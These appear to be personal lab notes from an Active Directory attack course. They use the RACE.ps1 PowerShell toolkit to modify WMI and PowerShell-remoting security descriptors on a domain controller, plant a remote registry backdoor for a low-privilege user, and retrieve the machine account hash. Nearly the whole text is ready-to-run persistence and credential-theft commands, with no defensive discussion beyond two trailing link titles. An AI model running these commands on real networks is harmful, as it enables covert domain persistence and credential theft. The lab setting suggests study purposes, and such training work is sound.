Exploit WMI Security Descriptors

Modify descriptor for WMI to allow user to access the WMI

. C:\AD\Tools\RACE.ps1

Set-RemoteWMI -SamAccountName student648 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -namespace 'root\cimv2' -Verbose

Execute WMI Queries

gwmi -class win32_operatingsystem -ComputerName dcorp-dc.dollarcorp.moneycorp.local

Also can be done, Powershell Remoting

Set-RemotePSRemoting –SamAccountName student648 -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose

Invoke-Command -ScriptBlock{whoami} -ComputerName dcorp-dc.dollarcorp.moneycorp.localdcorp\student648

Modify Perms

Add-RemoteRegBackdoor -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Trustee student648

Retrieve Hash

Get-RemoteMachineAccountHash -ComputerName dcorp-dc.dollarcorp.moneycorp.local -Verbose

What is an AdminSDHolder Attack and How to Defend Against it?

Security Descriptors